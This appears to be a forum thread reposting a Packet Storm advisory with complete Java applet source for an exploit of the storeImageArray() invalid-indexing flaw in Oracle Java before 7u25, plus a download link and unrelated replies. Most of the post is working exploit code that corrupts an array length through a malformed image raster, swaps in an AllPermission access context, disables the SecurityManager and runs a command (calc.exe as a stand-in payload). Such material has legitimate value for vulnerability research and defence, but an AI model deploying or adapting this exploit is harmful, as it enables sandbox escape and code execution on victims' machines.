Jump to content
Nytro

Oracle Java storeImageArray() Invalid Array Indexing Code Execution

Recommended Posts

Posted

Oracle Java storeImageArray() Invalid Array Indexing Code Execution

Site packetstormsecurity.com

Oracle Java versions prior to 7u25 suffer from an invalid array indexing vulnerability that exists within the native storeImageArray() function inside jre/bin/awt.dll. This exploit code demonstrates remote code execution by popping calc.exe. It was obtained through the Packet Storm Bug Bounty program.

import java.awt.image.*;

import java.awt.color.*;

import java.beans.Statement;

import java.security.*;

public class MyJApplet extends javax.swing.JApplet {

/**

* Initializes the applet myJApplet

*/

@Override

public void init() {

/* Set the Nimbus look and feel */

//<editor-fold defaultstate="collapsed" desc=" Look and feel setting code (optional) ">

/* If Nimbus (introduced in Java SE 6) is not available, stay with the default look and feel.

* For details see http://download.oracle.com/javase/tutorial/uiswing/lookandfeel/plaf.html

*/

try {

for (javax.swing.UIManager.LookAndFeelInfo info : javax.swing.UIManager.getInstalledLookAndFeels()) {

if ("Nimbus".equals(info.getName())) {

javax.swing.UIManager.setLookAndFeel(info.getClassName());

break;

}

}

} catch (ClassNotFoundException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (InstantiationException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (IllegalAccessException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

} catch (javax.swing.UnsupportedLookAndFeelException ex) {

java.util.logging.Logger.getLogger(MyJApplet.class.getName()).log(java.util.logging.Level.SEVERE, null, ex);

}

//</editor-fold>

/* Create and display the applet */

try {

java.awt.EventQueue.invokeAndWait(new Runnable() {

public void run() {

initComponents();

// print environment info

logAdd(

"JRE: " + System.getProperty("java.vendor") + " " + System.getProperty("java.version") +

"\nJVM: " + System.getProperty("java.vm.vendor") + " " + System.getProperty("java.vm.version") +

"\nJava Plug-in: " + System.getProperty("javaplugin.version") +

"\nOS: " + System.getProperty("os.name") + " " + System.getProperty("os.arch") + " (" + System.getProperty("os.version") + ")"

);

}

});

} catch (Exception ex) {

ex.printStackTrace();

}

}

public void logAdd(String str)

{

txtArea.setText(txtArea.getText() + str + "\n");

}

public void logAdd(Object o, String... str)

{

logAdd((str.length > 0 ? str[0]:"") + (o == null ? "null" : o.toString()));

}

public String errToStr(Throwable t)

{

String str = "Error: " + t.toString();

StackTraceElement[] ste = t.getStackTrace();

for(int i=0; i < ste.length; i++) {

str += "\n\t" + ste.toString();

}

t = t.getCause();

if (t != null) str += "\nCaused by: " + errToStr(t);

return str;

}

public void logError(Exception ex)

{

logAdd(errToStr(ex));

}

public static String toHex(int i)

{

return Integer.toHexString(i);

}

/**

* This method is called from within the init() method to initialize the

* form. WARNING: Do NOT modify this code. The content of this method is

* always regenerated by the Form Editor.

*/

@SuppressWarnings("unchecked")

// <editor-fold defaultstate="collapsed" desc="Generated Code">//GEN-BEGIN:initComponents

private void initComponents() {

btnStart = new javax.swing.JButton();

jScrollPane2 = new javax.swing.JScrollPane();

txtArea = new javax.swing.JTextArea();

btnStart.setText("Run calculator");

btnStart.addMouseListener(new java.awt.event.MouseAdapter() {

public void mousePressed(java.awt.event.MouseEvent evt) {

btnStartMousePressed(evt);

}

});

txtArea.setEditable(false);

txtArea.setColumns(20);

txtArea.setFont(new java.awt.Font("Arial", 0, 12)); // NOI18N

txtArea.setRows(5);

txtArea.setTabSize(4);

jScrollPane2.setViewportView(txtArea);

javax.swing.GroupLayout layout = new javax.swing.GroupLayout(getContentPane());

getContentPane().setLayout(layout);

layout.setHorizontalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(layout.createSequentialGroup()

.addContainerGap()

.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 580, Short.MAX_VALUE)

.addContainerGap())

.addGroup(layout.createSequentialGroup()

.addGap(242, 242, 242)

.addComponent(btnStart, javax.swing.GroupLayout.PREFERRED_SIZE, 124, javax.swing.GroupLayout.PREFERRED_SIZE)

.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))

);

layout.setVerticalGroup(

layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)

.addGroup(javax.swing.GroupLayout.Alignment.TRAILING, layout.createSequentialGroup()

.addContainerGap()

.addComponent(jScrollPane2, javax.swing.GroupLayout.DEFAULT_SIZE, 344, Short.MAX_VALUE)

.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED)

.addComponent(btnStart)

.addContainerGap())

);

}// </editor-fold>//GEN-END:initComponents

private boolean _isMac = System.getProperty("os.name","").contains("Mac");

private boolean _is64 = System.getProperty("os.arch","").contains("64");

// we will need ColorSpace which returns 1 from getNumComponents()

class MyColorSpace extends ICC_ColorSpace

{

public MyColorSpace()

{

super(ICC_Profile.getInstance(ColorSpace.CS_sRGB));

}

// override getNumComponents

public int getNumComponents()

{

int res = 1;

//logAdd("MyColorSpace.getNumComponents() = " + res);

return res;

}

}

// we will need ComponentColorModel with the obedient isCompatibleRaster() which always returns true.

class MyColorModel extends ComponentColorModel

{

public MyColorModel()

{

super(new MyColorSpace(), new int[]{8,8,8}, false, false, 1, DataBuffer.TYPE_BYTE);

}

// override isCompatibleRaster

public boolean isCompatibleRaster(Raster r)

{

boolean res = true;

logAdd("MyColorModel.isCompatibleRaster() = " + res);

return res;

}

}

private int tryExpl()

{

try {

// alloc aux vars

String name = "setSecurityManager";

Object[] o1 = new Object[1];

Object o2 = new Statement(System.class, name, o1); // make a dummy call for init

// allocate byte buffer for destination Raster.

DataBufferByte dst = new DataBufferByte(16);

// allocate the target array right after dst

int[] a = new int[8];

// allocate an object array right after a[]

Object[] oo = new Object[7];

// create Statement with the restricted AccessControlContext

oo[2] = new Statement(System.class, name, o1);

// create powerful AccessControlContext

Permissions ps = new Permissions();

ps.add(new AllPermission());

oo[3] = new AccessControlContext(

new ProtectionDomain[]{

new ProtectionDomain(

new CodeSource(

new java.net.URL("file:///"),

new java.security.cert.Certificate[0]

),

ps

)

}

);

// store System.class pointer in oo[]

oo[4] = ((Statement)oo[2]).getTarget();

// save old a.length

int oldLen = a.length;

logAdd("a.length = 0x" + toHex(oldLen));

// create regular source image

BufferedImage bi1 = new BufferedImage(4,1, BufferedImage.TYPE_INT_ARGB);

logAdd(bi1);

// prepare the sample model with "dataBitOffset" pointing outside dst[] onto a.length

MultiPixelPackedSampleModel sm = new MultiPixelPackedSampleModel(DataBuffer.TYPE_BYTE, 4,1,1,4, 44 + (_is64 ? 8:0));

// create malformed destination image based on dst[] data

WritableRaster wr = Raster.createWritableRaster(sm, dst, null);

BufferedImage bi2 = new BufferedImage(new MyColorModel(), wr, false, null);

logAdd(bi2);

// prepare first pixel which will overwrite a.length

bi1.getRaster().setPixel(0,0, new int[]{-1,-1,-1,-1});

// call the vulnerable storeImageArray() function (see ...\jdk\src\share\native\sun\awt\medialib\awt_ImagingLib.c)

AffineTransformOp op = new AffineTransformOp(new java.awt.geom.AffineTransform(1,0,0,1,0,0), null);

op.filter(bi1, bi2);

// check results: a.length should be overwritten by 0xFFFFFFFF

int len = a.length;

logAdd("a.length = 0x" + toHex(len));

if (len == oldLen) {

// check a[] content corruption // for RnD

for(int i=0; i < len; i++) if (a != 0) logAdd("a["+i+"] = 0x" + toHex(a));

// exit

logAdd("error 1"); return 1;

}

// ok, now we can read/write outside the real a[] storage,

// lets find our Statement object and replace its private "acc" field value

// search for oo[] after a[oldLen]

boolean found = false;

int ooLen = oo.length;

for(int i=oldLen+2; i < oldLen+32; i++)

if (a[i-1]==ooLen && a==0 && a[i+1]==0 // oo[0]==null && oo[1]==null

&& a[i+2]!=0 && a[i+3]!=0 && a[i+4]!=0 // oo[2,3,4] != null

&& a[i+5]==0 && a[i+6]==0) // oo[5,6] == null

{

// read pointer from oo[4]

int stmTrg = a[i+4];

// search for the Statement.target field behind oo[]

for(int j=i+7; j < i+7+64; j++){

if (a[j] == stmTrg) {

// overwrite default Statement.acc by oo[3] ("AllPermission")

a[j-1] = a[i+3];

found = true;

break;

}

}

if (found) break;

}

// check results

if (!found) {

// print the memory dump on error // for RnD

String s = "a["+oldLen+"...] = ";

for(int i=oldLen; i < oldLen+32; i++) s += toHex(a) + ",";

logAdd(s);

} else try {

// show current SecurityManager

logAdd(System.getSecurityManager(), "Security Manager = ");

// call System.setSecurityManager(null)

((Statement)oo[2]).execute();

// show results: SecurityManager should be null

logAdd(System.getSecurityManager(), "Security Manager = ");

} catch (Exception ex) {

logError(ex);

}

logAdd(System.getSecurityManager() == null ? "Ok.":"Fail.");

} catch (Exception ex) {

logError(ex);

}

return 0;

}

private void btnStartMousePressed(java.awt.event.MouseEvent evt) {//GEN-FIRST:event_btnStartMousePressed

try {

logAdd("===== Start =====");

// try several attempts to exploit

for(int i=1; i <= 5 && System.getSecurityManager() != null; i++){

logAdd("Attempt #" + i);

tryExpl();

}

// check results

if (System.getSecurityManager() == null) {

// execute payload

Runtime.getRuntime().exec(_isMac ? "/Applications/Calculator.app/Contents/MacOS/Calculator":"calc.exe");

}

logAdd("===== End =====");

} catch (Exception ex) {

logError(ex);

}

}//GEN-LAST:event_btnStartMousePressed

// Variables declaration - do not modify//GEN-BEGIN:variables

private javax.swing.JButton btnStart;

private javax.swing.JScrollPane jScrollPane2;

private javax.swing.JTextArea txtArea;

// End of variables declaration//GEN-END:variables

}

Download:

http://packetstormsecurity.com/files/download/122777/PSA-2013-0811-1-exploit.tgz

Sursa: Oracle Java storeImageArray() Invalid Array Indexing Code Execution ? Packet Storm

Posted
Hi,

As for me, I am testing the related java code 128 barcode generation projects these days. Do you have any ideas about it? Or any good suggestion? I am totally a green hand on barcode generating field. Any suggestion will be appreciated. Thanks in advance.

Best regards,

Arron

I am also new to Oracle Java storeImageArray,but i learn a lot form Nytro,i want to say thanks to him.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...